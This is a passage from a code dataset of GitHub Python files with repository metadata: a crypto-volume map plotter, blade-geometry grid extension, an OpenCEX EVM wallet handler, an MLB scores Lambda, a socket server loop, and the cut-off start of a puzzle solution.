volume.\"\"\"\n\t\tself._countryVolumeCsvWriter(filename)\n\t\tdateToConvert = datetime.datetime.now()\n\t\tdate = dateToConvert.strftime('%Y/%m/%d')\n\t\tdf = pd.read_csv(filename, dtype={\"country\": str})\n\t\tfig = px.choropleth(df, locations=\"iso_alpha\", color=\"volume\",\n\t\t\ttitle=f\"Cryptocurrency Exchange Volumes (in Bitcoin) on {date}\",\n\t\t\t\t\t\thover_name=\"country\",\n\t\t\t\t\t\tcolor_continuous_scale=px.colors.sequential.Plasma)\n\t\tfig.show()\n\n\nif __name__ == '__main__':\n\t# The SQL methods for the different tables must be called using \n\t# different instances, otherwise helper methods called within the insert\n\t# SQL methods would be unnecessarily called twice, resulting in an error.\n\t# It is the same case for the csv file writer methods.\n\tinstanceOne = VolumeChoroplethMapSetter()\n\tinstanceTwo = VolumeChoroplethMapSetter()\n\tinstanceThree = VolumeChoroplethMapSetter()\n\tinstanceFour = VolumeChoroplethMapSetter()\n\t#instanceFive = volumeChoroplethMapSetter()\n\tinstanceOne.createSQLExchangeTable()\n\tinstanceOne.insertSQLExchangeTable()\n\tinstanceTwo.createSQLCountryTable()\n\tinstanceTwo.insertSQLCountryTable()\n\tinstanceThree.exchangeVolumeCsvWriter('exchangevolumes.csv')\n\t#instanceFive.countryVolumeCsvWriter('countryvolumes.csv')\n\tinstanceFour.choroplethMapPlotter('countryvolumes.csv')\n\n\t# Note that small countries such as Cayman Islands unfortunately are not\n\t# visible on the plotly world map despite having very high volumes.\n\n\t# Perhaps it would be better to write and then read the csv files first,\n\t# and then add the csv data to SQL, rather than directly writing the\n\t# lists/tuples to SQL, because then the entire class could be run in a \n\t# single instance.\n\t\n\n\n\n\n","repo_name":"HamzaKadhim/cryptocurrency_choropleth_map_and_web_scraper","sub_path":"volumeChoroplethMap.py","file_name":"volumeChoroplethMap.py","file_ext":"py","file_size_in_byte":11486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29067637854","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 24 17:22:38 2018\n\n@author: antariksh\n\"\"\"\nimport numpy as np\n\ndef extend_grid(surface_orig):\n \"\"\"\n The grid is extended by the extrapolated value of z_root and z_tip\n to the left of the root and right of the tip respectively.\n The extension is by one span location in either direction\n a) root extension: blade is extrapolated\n b) tip extension: blade is protruded along the normal. \n \n \"\"\" \n # spanwise sections in the imported surface\n Ns_orig = surface_orig.shape[0]\n # chordwise sections in the imported surface\n Nc_orig = surface_orig.shape[1]\n # S original\n S_orig = np.arange(0, Ns_orig)\n # generate the extended grid\n grid_sext, grid_text = np.mgrid[ -1 : Ns_orig + 1, 0 : Nc_orig]\n # extend S\n S_ext = grid_sext[:, 0]\n # extend the surface accordingly\n Ns_ext = grid_sext.shape[0]\n Nc_ext = grid_text.shape[1]\n surface_ext = np.zeros((Ns_ext, Nc_ext, 3), dtype= float)\n \n # assign the original surface for S,T: ie S-->[0, Ns-1] and T-->[0, Nc-1]\n surface_ext[1 : Ns_orig+1, \n :, 0] = surface_orig[:, :, 0] #X\n surface_ext[1 : Ns_orig+1, \n :, 1] = surface_orig[:, :, 1] #Y\n surface_ext[1 : Ns_orig+1, \n :, 2] = surface_orig[:, :, 2] #Z\n \n # extrapolate the root by 1 section using linear interpolation \n ind = np.zeros(3, dtype = int)\n ind[0] = S_orig[2]\n ind[1] = S_orig[1]\n ind[2] = S_orig[0]\n \n # extrapolate\n Xroot, Yroot, Zroot = extrapolate_surface(S_ext, surface_orig, ind)\n \n # build the extrapolated surface at the root\n surface_ext[0, :, 0] = Xroot\n surface_ext[0, :, 1] = Yroot\n surface_ext[0, :, 2] = Zroot\n \n # extrude the tip\n ind[0] = S_orig[Ns_orig-3]\n ind[1] = S_orig[Ns_orig-2]\n ind[2] = S_orig[Ns_orig-1]\n \n #obtain the normal vector for the tip surface\n norm = normal_vec(surface_orig[Ns_orig - 1, :, :])\n \n # check the z-direction of the norm and appropriately reverse orientation\n if norm[2] < 0:\n norm *= -1\n \n # get the distances of each point on tip to corr. point on prev. section\n ln = np.sqrt(np.power(surface_orig[Ns_orig - 1, :, 0] - \n surface_orig[Ns_orig - 2, :, 0], 2) + \n np.power(surface_orig[Ns_orig - 1, :, 1] - \n surface_orig[Ns_orig - 2, :, 1], 2) +\n np.power(surface_orig[Ns_orig - 1, :, 2] - \n surface_orig[Ns_orig - 2, :, 2], 2)) \n \n # construct the extension vector\n ln_vec = np.mean(ln) * norm\n \n for i in range(Nc_orig):\n # construct the extended tip\n surface_ext[Ns_ext - 1, i, :] = (surface_orig[Ns_orig - 1, i, :] +\n ln_vec)\n \n \n return grid_sext, grid_text, surface_ext\n\n\ndef normal_vec(surface):\n \"\"\"\n Obtain the normal vector of the surface.\n \n Args:\n surface (float): Cross-sectional surface definition of order N x3\n \n Return:\n normal(float) : normal unit vector of shape (1x3)\n \"\"\"\n # number of points on the surface\n N = surface.shape[0] \n # take the first and last points on the surface and find the furthest points\n # first point on the lower surface corres. to t=0\n P1 = surface[0, :]\n #last point on the surface corresponding to t = N-1\n Pn = surface[N-1, :]\n \n # find the point whose dif. in distance from P1 and Pn is min\n d1 = np.sqrt(np.power(P1[0] - surface[:, 0], 2) + \n np.power(P1[1] - surface[:, 1], 2) + \n np.power(P1[2] - surface[:, 2], 2))\n \n dn = np.sqrt(np.power(Pn[0] - surface[:, 0], 2) + \n np.power(Pn[1] - surface[:, 1], 2) + \n np.power(Pn[2] - surface[:, 2], 2))\n \n ind_min = np.argmin(abs(d1 - dn))\n # the third point on the surface\n Pm = surface[ind_min, :]\n \n # define the vectors\n V1m = Pm - P1 # vector from first point on lower surface to mid point\n Vnm = Pm - Pn # vector from last point on upper surface to mid point\n \n # get the normal\n norm_vec = np.cross(V1m, Vnm)\n norm = norm_vec/np.linalg.norm(norm_vec)\n \n return norm\n\ndef extrapolate_surface(S, surface, ind):\n #ind0 = ind[0] # index of the third span from the edge\n ind1 = ind[1] # index of the second span from edge\n ind2 = ind[2] # index of last span\n # define X1\n X1 = surface[ind1, :, 0]\n # X2\n X2 = surface[ind2, :, 0]\n #Y1\n Y1 = surface[ind1, :, 1]\n #Y2\n Y2 = surface[ind2, :, 1]\n #Z1\n Z1 = surface[ind1, :, 2]\n #Z2\n Z2 = surface[ind2, :, 2]\n # distance l2\n l2 = np.sqrt(np.power(X2-X1, 2) + np.power(Y2-Y1, 2) + np.power(Z2-Z1, 2))\n # calculate unit direction vectors of l2\n # calculate the gradient del(l)/del(x), del(l)/del(y) and del(l)/del(z)\n dXdl = np.divide(X2-X1, l2)\n dYdl = np.divide(Y2-Y1, l2)\n dZdl = np.divide(Z2-Z1, l2)\n \n #X0 = surface[ind0, :, 0]\n #Y0 = surface[ind0, :, 1]\n #Z0 = surface[ind0, :, 2]\n # calculate the distance l1\n #l1 = np.sqrt(np.power(X1-X0, 2) + np.power(Y1-Y0, 2) + np.power(Z1-Z0, 2))\n # calculate del(l)/del(s)\n dlds_x = (l2)/(S[ind2 - 1] - S[ind1 - 1])\n dlds_y = (l2)/(S[ind2 - 1] - S[ind1 - 1])\n dlds_z = (l2)/(S[ind2 - 1] - S[ind1 - 1])\n # calculate del(X)/del(s), del(Y)/ del(s) and del(Z)/ del(S)\n dXds = np.multiply(dXdl, dlds_x)\n dYds = np.multiply(dYdl, dlds_y)\n dZds = np.multiply(dZdl, dlds_z)\n # obtain the extrapolated position\n X3 = X2 + dXds*(S[ind2 - 1] - S[ind1 - 1])\n Y3 = Y2 + dYds*(S[ind2 - 1] - S[ind1 - 1])\n Z3 = Z2 + dZds*(S[ind2 - 1] - S[ind1 - 1])\n \n return X3, Y3, Z3\n\n# NOTE: currently not in use \ndef extrap_grid(surface_orig, N_s, N_c, a):\n \"\"\"\n Boundary correction by extending the parametric grid in S and T. This is\n necessary to ensure C1-continuity at the boundaries. The present solution clips\n S at the boundary leading to discontinuities at the boundaries. At the T boundaries\n the solution loops for T values over-shooting the bounds of T=0 and T= N_c-1\n by considering the cross-section as a closed surface. \n\n Extension to spanwise direction 'S': \n The grid is extended to fit the profile of the cross-sections at the relevant\n boundary. So for all S < 0, the crosssections will be the same as that at\n the root. Whereas, for S > (N_s-1) it will be the same as that of \n S = N_s.\n \n Extension to chordwise direction 'T':\n The grid is extended such that a circular loop exists. So, for t<0 the\n\n \"\"\" \n # generate grid\n grid_s, grid_t= np.mgrid[ -a : N_s + a, \n 0 : N_c]\n # extend the surface accordingly\n Ns_ext= grid_s.shape[0]\n Nc_ext= grid_s.shape[1]\n surface_ext= np.zeros((Ns_ext, Nc_ext, 3), dtype= float)\n s_ind1= a\n s_ind2= N_s + a\n S = grid_s[:, 0]\n # extend the grid in the negative S direction\n # store the indices of last 3 points to the root\n ind_root = np.zeros(3, dtype = int)\n ind_root[0] = S[2 + a] # index of the third span from the edge\n ind_root[1] = S[1 + a] # index of the second span from edge\n ind_root[2] = S[0 + a] # index of last span\n X_root, Y_root, Z_root = extrapolate_surface(S, surface_orig, ind_root)\n \n # store the indices of last 3 points to the tip\n ind_tip = np.zeros(3, dtype = int)\n ind_tip[0] = S[-3 - a] # index of the third span from the edge\n ind_tip[1] = S[-2 - a] # index of the second span from edge\n ind_tip[2] = S[-1 - a] # index of last span\n X_tip, Y_tip, Z_tip = extrapolate_surface(S, surface_orig, ind_tip)\n \n # assign the original surface for S,T: ie S-->[0, Ns-1] and T-->[0, Nc-1]\n surface_ext[s_ind1 : s_ind1+N_s, \n 0 : N_c, 0] = surface_orig[:, :, 0] #X\n surface_ext[s_ind1 : s_ind1+N_s, \n 0 : N_c, 1] = surface_orig[:, :, 1] #Y\n surface_ext[s_ind1 : s_ind1+N_s, \n 0 : N_c, 2] = surface_orig[:, :, 2] #Z\n\n \n # assign the extended surface for S: S<0, t--> [0, Nc -1] \n surface_ext[0 : s_ind1, 0 : N_c, 0] = X_root\n surface_ext[0 : s_ind1, 0 : N_c, 1] = Y_root\n surface_ext[0 : s_ind1, 0 : N_c, 2] = Z_root\n\n # assign the extended surface for S: S>Ns-1, t--> [0, Nc-1]\n surface_ext[s_ind1 + N_s : s_ind2 + s_ind1, 0 : N_c, 0] = X_tip\n surface_ext[s_ind1 + N_s : s_ind2 + s_ind1, 0 : N_c, 1] = Y_tip\n surface_ext[s_ind1 + N_s : s_ind2 + s_ind1, 0 : N_c, 2] = Z_tip \n\n return grid_s, grid_t, surface_ext\n\n# NOTE: currently not in use \ndef extrap_np(surface_orig, rs, ts):\n \"\"\" Uses scipy's interp1D command to extraplate in x,y,z\n \n \"\"\"\n from scipy import interpolate\n # rs = number of sections beyond root\n # number of sections beyond tip\n # generate grid\n Ns_orig = surface_orig.shape[0]\n Nc_orig = surface_orig.shape[1]\n # S original\n S_orig = np.arange(0, Ns_orig)\n # generate the extended grid\n grid_sext, grid_text = np.mgrid[ -rs : Ns_orig + ts, 0 : Nc_orig]\n # extend S\n S_ext = grid_sext[:, 0]\n # extend the surface accordingly\n Ns_ext = grid_sext.shape[0]\n Nc_ext = grid_text.shape[1]\n surface_ext = np.zeros((Ns_ext, Nc_ext, 3), dtype= float)\n \n # extrapolate X for every T\n for i in range(Nc_orig):\n # original spanwise x,y,z distributions\n x_orig = surface_orig[:, i, 0]\n y_orig = surface_orig[:, i, 1]\n z_orig = surface_orig[:, i, 2]\n # interp1D functions for x, y, z\n fx = interpolate.interp1d(S_orig, x_orig, kind= 'linear', fill_value =\n 'extrapolate')\n fy = interpolate.interp1d(S_orig, y_orig, kind= 'linear', fill_value =\n 'extrapolate')\n fz = interpolate.interp1d(S_orig, z_orig,kind= 'linear', fill_value = \n 'extrapolate')\n # obtain the interpolated x, y,z spanwise vectors\n x_ext = fx(S_ext)\n y_ext = fy(S_ext)\n z_ext = fz(S_ext)\n # fill the surface extended array\n surface_ext[:, i, 0] = x_ext\n surface_ext[:, i, 1] = y_ext\n surface_ext[:, i, 2] = z_ext\n \n return grid_sext, grid_text, surface_ext","repo_name":"antarikshcd/blade_geom_constantz","sub_path":"extend.py","file_name":"extend.py","file_ext":"py","file_size_in_byte":10347,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27994532391","text":"import logging\n\nfrom celery import group\n\nfrom core.models.inouts.wallet import WalletTransactions\nfrom core.utils.withdrawal import get_withdrawal_requests_to_process\nfrom cryptocoins.accumulation_manager import AccumulationManager\nfrom cryptocoins.models.accumulation_transaction import AccumulationTransaction\nfrom cryptocoins.tasks.evm import (\n withdraw_coin_task,\n withdraw_tokens_task,\n check_deposit_scoring_task,\n check_balance_task,\n accumulate_tokens_task,\n)\nfrom cryptocoins.utils.commons import (\n load_last_processed_block_id,\n store_last_processed_block_id,\n)\nfrom lib.utils import memcache_lock\n\nlog = logging.getLogger(__name__)\naccumulation_manager = AccumulationManager()\n\n\nclass BaseEVMCoinHandler:\n CURRENCY = None\n COIN_MANAGER = None\n TRANSACTION_CLASS = None\n DEFAULT_BLOCK_ID_DELTA = 1000\n SAFE_ADDR = None\n TOKEN_CURRENCIES = None\n TOKEN_CONTRACT_ADDRESSES = None\n BLOCK_GENERATION_TIME = 15\n ACCUMULATION_PERIOD = 60\n COLLECT_DUST_PERIOD = 24 * 60 * 60\n IS_ENABLED = True\n\n @classmethod\n def process_block(cls, block_id):\n \"\"\"Check block for deposit, accumulation, withdrawal transactions and schedules jobs\"\"\"\n raise NotImplementedError\n\n @classmethod\n def check_tx_withdrawal(cls, withdrawal_id, tx_data):\n \"\"\"TX success check \"\"\"\n raise NotImplementedError\n\n @classmethod\n def check_balance(cls, wallet_transaction_id):\n \"\"\"Splits blockchain currency accumulation and token accumulation\"\"\"\n raise NotImplementedError\n\n @classmethod\n def accumulate_coin(cls, wallet_transaction_id):\n raise NotImplementedError\n\n @classmethod\n def accumulate_tokens(cls, wallet_transaction_id):\n raise NotImplementedError\n\n @classmethod\n def withdraw_coin(cls, withdrawal_request_id, password, old_tx_data=None, prev_tx_hash=None):\n raise NotImplementedError\n\n @classmethod\n def withdraw_tokens(cls, withdrawal_request_id, password, old_tx_data=None, prev_tx_hash=None):\n raise NotImplementedError\n\n @classmethod\n def process_new_blocks(cls):\n lock_id = f'{cls.CURRENCY.code}_blocks'\n with memcache_lock(lock_id, lock_id) as acquired:\n if acquired:\n current_block_id = cls.COIN_MANAGER.get_latest_block_num()\n default_block_id = current_block_id - cls.DEFAULT_BLOCK_ID_DELTA\n last_processed_block_id = load_last_processed_block_id(\n currency=cls.CURRENCY, default=default_block_id)\n\n if last_processed_block_id >= current_block_id:\n log.debug('Nothing to process since block #%s', current_block_id)\n return\n\n blocks_to_process = list(range(\n last_processed_block_id + 1,\n current_block_id + 1,\n ))\n blocks_to_process.insert(0, last_processed_block_id)\n blocks_to_process = blocks_to_process[:cls.DEFAULT_BLOCK_ID_DELTA]\n\n if len(blocks_to_process) > 1:\n log.info('Need to process blocks #%s..#%s', last_processed_block_id + 1, current_block_id)\n else:\n log.info('Need to process block #%s', last_processed_block_id + 1)\n\n for block_id in blocks_to_process:\n cls.process_block(block_id)\n\n store_last_processed_block_id(currency=cls.CURRENCY, block_id=current_block_id)\n\n @classmethod\n def process_coin_deposit(cls, tx_data: dict):\n \"\"\"\n Process coin deposit, excepting inner gas deposits, etc\n \"\"\"\n log.info('Processing %s deposit: %s', cls.CURRENCY.code, tx_data)\n tx = cls.TRANSACTION_CLASS(tx_data)\n amount = cls.COIN_MANAGER.get_amount_from_base_denomination(tx.value)\n\n # skip if failed\n if not cls.COIN_MANAGER.is_valid_transaction(tx.hash):\n log.error(f'{cls.CURRENCY} deposit transaction {tx.hash} is invalid or failed')\n return\n\n coin_keeper = cls.COIN_MANAGER.get_keeper_wallet()\n external_accumulation_addresses = accumulation_manager.get_external_accumulation_addresses([cls.CURRENCY])\n\n # is accumulation tx?\n if tx.to_addr in [cls.SAFE_ADDR, coin_keeper.address] + external_accumulation_addresses:\n accumulation_transaction = AccumulationTransaction.objects.filter(\n tx_hash=tx.hash,\n ).first()\n\n if accumulation_transaction is None:\n log.error(f'Accumulation TX {tx.hash} not exist')\n return\n\n if accumulation_transaction.tx_state == AccumulationTransaction.STATE_COMPLETED:\n log.info(f'Accumulation TX {tx.hash} already processed')\n return\n\n accumulation_transaction.complete()\n\n log.info(f'Tx {tx.hash} is {cls.CURRENCY.code} accumulation')\n return\n\n coin_gas_keeper = cls.COIN_MANAGER.get_gas_keeper_wallet()\n # is inner gas deposit?\n if tx.from_addr == coin_gas_keeper.address:\n accumulation_transaction = AccumulationTransaction.objects.filter(\n tx_hash=tx.hash,\n tx_type=AccumulationTransaction.TX_TYPE_GAS_DEPOSIT,\n ).first()\n\n if accumulation_transaction is None:\n log.error(f'Gas accumulation TX {tx.hash} not found')\n return\n\n if accumulation_transaction.tx_state == AccumulationTransaction.STATE_COMPLETED:\n log.info(f'Accumulation TX {tx.hash} already processed as token gas')\n return\n\n log.info(f'Tx {tx.hash} is gas deposit')\n accumulation_transaction.complete(is_gas=True)\n accumulate_tokens_task.apply_async(\n [cls.CURRENCY.code, accumulation_transaction.wallet_transaction_id],\n queue=f'{cls.CURRENCY.code.lower()}_tokens_accumulations'\n )\n return\n\n db_wallet = cls.COIN_MANAGER.get_wallet_db_instance(cls.CURRENCY, tx.to_addr)\n if db_wallet is None:\n log.error(f'Wallet {cls.CURRENCY.code} {tx.to_addr} not exists or blocked')\n return\n\n # is already processed?\n db_wallet_transaction = WalletTransactions.objects.filter(\n tx_hash__iexact=tx.hash,\n wallet_id=db_wallet.id,\n ).first()\n\n if db_wallet_transaction is not None:\n log.warning(f'TX {tx.hash} already processed as {cls.CURRENCY.code} deposit')\n return\n\n # make deposit\n # check for keeper deposit\n if db_wallet.address == coin_keeper.address:\n log.info(f'TX {tx.hash} is keeper {cls.CURRENCY.code} deposit: {amount}')\n return\n\n # check for gas keeper deposit\n if db_wallet.address == coin_gas_keeper.address:\n log.info(f'TX {tx.hash} is gas keeper {cls.CURRENCY.code} deposit: {amount}')\n return\n\n WalletTransactions.objects.create(\n wallet=db_wallet,\n tx_hash=tx.hash,\n amount=amount,\n currency=cls.CURRENCY,\n )\n log.info(f'TX {tx.hash} processed as {amount} {cls.CURRENCY.code} deposit')\n\n @classmethod\n def process_tokens_deposit(cls, tx_data: dict):\n \"\"\"\n Process ERC20 deposit\n \"\"\"\n log.info(f'Processing {cls.CURRENCY.code} TOKENS deposit: {tx_data}')\n tx = cls.TRANSACTION_CLASS(tx_data)\n\n if not cls.COIN_MANAGER.is_valid_transaction(tx.hash):\n log.warning(f'{cls.CURRENCY.code} TOKENS deposit TX {tx.hash} is failed or invalid')\n return\n\n token = cls.COIN_MANAGER.get_token_by_address(tx.contract_address)\n token_to_addr = tx.to_addr\n token_amount = token.get_amount_from_base_denomination(tx.value)\n coin_keeper = cls.COIN_MANAGER.get_keeper_wallet()\n external_accumulation_addresses = accumulation_manager.get_external_accumulation_addresses(\n list(cls.TOKEN_CURRENCIES))\n\n if token_to_addr in [cls.SAFE_ADDR, coin_keeper.address] + external_accumulation_addresses:\n log.info(f'TX {tx.hash} is {token_amount} {token.currency} accumulation')\n\n accumulation_transaction = AccumulationTransaction.objects.filter(\n tx_hash=tx.hash,\n ).first()\n if accumulation_transaction is None:\n # accumulation from outside\n log.error('Token accumulation TX %s not exist', tx.hash)\n return\n\n accumulation_transaction.complete()\n return\n\n db_wallet = cls.COIN_MANAGER.get_wallet_db_instance(token.currency, token_to_addr)\n if db_wallet is None:\n log.error(f'Wallet {token.currency} {token_to_addr} not exists or blocked')\n return\n\n db_wallet_transaction = WalletTransactions.objects.filter(\n tx_hash__iexact=tx.hash,\n wallet_id=db_wallet.id,\n ).first()\n if db_wallet_transaction is not None:\n log.warning(f'TX {tx.hash} already processed as {token.currency} deposit')\n return\n\n # check for keeper deposit\n if db_wallet.address == coin_keeper.address:\n log.info(f'TX {tx.hash} is keeper {token.currency} deposit: {token_amount}')\n return\n\n # check for gas keeper deposit\n coin_gas_keeper = cls.COIN_MANAGER.get_gas_keeper_wallet()\n if db_wallet.address == coin_gas_keeper.address:\n log.info(f'TX {tx.hash} is keeper {token.currency} deposit: {token_amount}')\n return\n\n WalletTransactions.objects.create(\n wallet_id=db_wallet.id,\n tx_hash=tx.hash,\n amount=token_amount,\n currency=token.currency,\n )\n log.info(f'TX {tx.hash} processed as {token_amount} {token.currency} deposit')\n\n @classmethod\n def process_payouts(cls, password, withdrawals_ids=None):\n coin_withdrawal_requests = get_withdrawal_requests_to_process(currencies=[cls.CURRENCY])\n\n if coin_withdrawal_requests:\n log.info(f'Need to process {len(coin_withdrawal_requests)} {cls.CURRENCY} withdrawals')\n\n for item in coin_withdrawal_requests:\n if withdrawals_ids and item.id not in withdrawals_ids:\n continue\n\n # skip freezed withdrawals\n if item.user.profile.is_payouts_freezed():\n continue\n withdraw_coin_task.apply_async(\n [cls.CURRENCY.code, item.id, password],\n queue=f'{cls.CURRENCY.code.lower()}_payouts'\n )\n\n tokens_withdrawal_requests = get_withdrawal_requests_to_process(\n currencies=cls.TOKEN_CURRENCIES,\n blockchain_currency=cls.CURRENCY.code,\n )\n\n if tokens_withdrawal_requests:\n log.info(f'Need to process {len(tokens_withdrawal_requests)} {cls.CURRENCY} TOKENS withdrawals')\n for item in tokens_withdrawal_requests:\n if withdrawals_ids and item.id not in withdrawals_ids:\n continue\n # skip freezed withdrawals\n if item.user.profile.is_payouts_freezed():\n continue\n withdraw_tokens_task.apply_async(\n [cls.CURRENCY.code, item.id, password],\n queue=f'{cls.CURRENCY.code.lower()}_payouts'\n )\n\n @classmethod\n def check_deposit_scoring(cls, wallet_transaction_id):\n \"\"\"Check deposit for scoring\"\"\"\n wallet_transaction = accumulation_manager.get_wallet_transaction_by_id(wallet_transaction_id)\n wallet_transaction.check_scoring()\n\n @classmethod\n def check_balances(cls):\n \"\"\"Main accumulations scheduler\"\"\"\n kyt_check_jobs = []\n accumulations_jobs = []\n external_accumulations_jobs = []\n\n for item in accumulation_manager.get_waiting_for_kyt_check(cls.CURRENCY):\n kyt_check_jobs.append(check_deposit_scoring_task.s(cls.CURRENCY.code, item.id))\n\n for item in accumulation_manager.get_waiting_for_accumulation(blockchain_currency=cls.CURRENCY):\n accumulations_jobs.append(check_balance_task.s(cls.CURRENCY.code, item.id))\n\n for item in accumulation_manager.get_waiting_for_external_accumulation(blockchain_currency=cls.CURRENCY):\n external_accumulations_jobs.append(check_balance_task.s(cls.CURRENCY.code, item.id))\n\n if kyt_check_jobs:\n log.info('Need to check for KYT: %s', len(kyt_check_jobs))\n jobs_group = group(kyt_check_jobs)\n jobs_group.apply_async(queue=f'{cls.CURRENCY.code.lower()}_check_balances')\n\n if accumulations_jobs:\n log.info('Need to check accumulations: %s', len(accumulations_jobs))\n jobs_group = group(accumulations_jobs)\n jobs_group.apply_async(queue=f'{cls.CURRENCY.code.lower()}_check_balances')\n\n if external_accumulations_jobs:\n log.info('Need to check external accumulations: %s', len(external_accumulations_jobs))\n jobs_group = group(external_accumulations_jobs)\n jobs_group.apply_async(queue=f'{cls.CURRENCY.code.lower()}_check_balances')\n\n @classmethod\n def accumulate_dust(cls):\n cls.COIN_MANAGER.accumulate_dust()\n","repo_name":"Polygant/OpenCEX-backend","sub_path":"cryptocoins/evm/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":13442,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"71969886828","text":"import json\nimport requests\nimport teamColors\nimport time\nimport dateutil.parser\nfrom dateutil import tz\nfrom datetime import date\n\n\ndef lambda_handler(event, context):\n url = \"http://statsapi.mlb.com/api/v1/schedule/games/?sportId=1\"\n headers = {\n \"User-Agent \": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36\",\n \"Content-Type\": \"application/json;charset=UTF-8\",\n \"Accept\": \"*/*\",\n \"Accept-ranges\": \"bytes\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Referer\": \"http://statsapi.mlb.com/\"\n }\n response = requests.get(url=url, params=headers).json()\n\n payload = {}\n games = []\n\n for game in response['dates'][0]['games']:\n link = 'http://statsapi.mlb.com' + game['link']\n stats = requests.get(url=link, params=headers).json()\n\n gameStatus = stats['gameData']['status']['abstractGameState']\n\n awayAbbr = stats['gameData']['teams']['away']['abbreviation']\n homeAbbr = stats['gameData']['teams']['home']['abbreviation']\n awayColors = teamColors.colors[awayAbbr]\n homeColors = teamColors.colors[homeAbbr]\n\n if gameStatus == \"Live\" or gameStatus == \"Final\":\n awayScore = stats['liveData']['linescore']['teams']['away']['runs']\n homeScore = stats['liveData']['linescore']['teams']['home']['runs']\n\n inning = stats['liveData']['linescore']['currentInning']\n isTopInning = stats['liveData']['linescore']['isTopInning']\n outs = stats['liveData']['linescore']['outs']\n isFinal = stats['gameData']['status']['statusCode'] == \"F\"\n \n first = True if 'first' in stats['liveData']['linescore']['offense'] else False\n second = True if 'second' in stats['liveData']['linescore']['offense'] else False\n third = True if 'third' in stats['liveData']['linescore']['offense'] else False\n\n obj = {\n 'awayAbbr': awayAbbr,\n 'homeAbbr': homeAbbr,\n 'awayScore': awayScore,\n 'homeScore': homeScore,\n 'inning': inning,\n 'isTopInning': isTopInning,\n 'outs': outs,\n 'first': first,\n 'second': second,\n 'third': third,\n 'isFinal': isFinal,\n 'awayColors': awayColors,\n 'homeColors': homeColors\n }\n else:\n startTime = dateutil.parser.parse(game['gameDate']).astimezone(tz.gettz('America/New_York')).strftime(\"%I:%M %p\")\n\n obj = {\n 'awayAbbr': awayAbbr,\n 'homeAbbr': homeAbbr,\n 'awayColors': awayColors,\n 'homeColors': homeColors,\n 'startTime': startTime\n }\n\n games.append(obj)\n\n payload['payload'] = games\n\n return {\n 'statusCode': 200,\n 'body': payload\n }\n","repo_name":"jaidelman/mlb-ticker","sub_path":"lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"34682136005","text":"import socket\r\n\r\nimport constants\r\nimport init\r\nimport configinfo\r\nimport reporting\r\nimport commsgate\r\nimport logicalconductor\r\n\r\n\r\ng = {\"server_socket\": None}\r\n\r\n\r\n\"\"\"client_sockets -- dictionary of real sockets\r\n\r\nclient_sockets = {id(client_socket): ,\r\n ...}\r\n\"\"\"\r\n\r\nclient_sockets = {}\r\n\r\n\r\ndef bind():\r\n g[\"server_socket\"] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n g[\"server_socket\"].setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n \r\n # Bind the server socket to the IP address and port\r\n ip_addr = configinfo.config[\"ipaddress\"]\r\n port = configinfo.config[\"port\"]\r\n g[\"server_socket\"].bind((ip_addr, port))\r\n \r\n reporting.report_initial_binding(ip_addr, port)\r\n \r\n # Set the server socket to non-blocking mode\r\n g[\"server_socket\"].setblocking(False)\r\n\r\n # Listen for incoming connections\r\n g[\"server_socket\"].listen()\r\n\r\n\r\ndef accept_new_connections():\r\n try:\r\n # Accept new client connections\r\n client_socket, client_address = g[\"server_socket\"].accept()\r\n client_socket.setblocking(False)\r\n\r\n # Register it\r\n client_sockets[id(client_socket)] = client_socket\r\n \r\n # Save info for logical interaction\r\n commsgate.add_conn(id(client_socket),\r\n client_address[0], # IP address\r\n client_address[1]) # port\r\n \r\n except socket.error as e:\r\n # Handle socket errors\r\n if e.errno != socket.errno.EAGAIN and e.errno != socket.errno.EWOULDBLOCK:\r\n handle_accept_error()\r\n\r\ndef handle_accept_error(): # TODO!\r\n breakpoint() # not sure what to do here, when this situation arises really...\r\n\r\n\r\ndef receive_messages():\r\n # Message received function call for each connected client\r\n for client_socket in list(client_sockets.values()):\r\n try:\r\n # Receive and process messages from clients\r\n msg = client_socket.recv(constants.PACKET_SIZE)\r\n if msg:\r\n commsgate.add_inbox(id(client_socket), msg)\r\n \r\n except socket.error as e:\r\n # Handle socket errors\r\n if e.errno != socket.errno.EAGAIN and e.errno != socket.errno.EWOULDBLOCK:\r\n handle_recv_error(client_socket)\r\n\r\ndef handle_recv_error(client_socket):\r\n commsgate.rm_conn(id(client_socket))\r\n del client_sockets[id(client_socket)]\r\n\r\n\r\ndef send_messages():\r\n while commsgate.outbox:\r\n D = commsgate.pop_outbox()\r\n client_sockets[D[\"CONN\"]].send(D[\"MSG\"])\r\n\r\n\r\ndef loop():\r\n try:\r\n while True:\r\n accept_new_connections()\r\n receive_messages()\r\n logicalconductor.loop_once()\r\n send_messages()\r\n except KeyboardInterrupt:\r\n # When operating virtually, raise KeyboardInterrupt programmatically.\r\n logicalconductor.loop_terminated()\r\n send_messages()\r\n g[\"server_socket\"].close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # System Initialization as a Server\r\n init.init_conductor()\r\n \r\n # Create the server socket\r\n bind()\r\n \r\n # Main server loop\r\n loop()\r\n\r\n","repo_name":"LionKimbro/lockstep","sub_path":"src/conductor.py","file_name":"conductor.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11619536523","text":"T = int(input())\r\ncnt = 0\r\n\r\ndef isSame(now, end):\r\n nw, ed = str(bin(now)), str(bin(end))\r\n if len(nw) > len(ed):\r\n return False\r\n \r\n for i in range(len(nw)):\r\n if nw[i] != ed[i]:\r\n return False\r\n return True\r\n\r\ndef save(now):\r\n global cnt\r\n for i in range(4):\r\n if now + i not in D:\r\n D[now + i] = 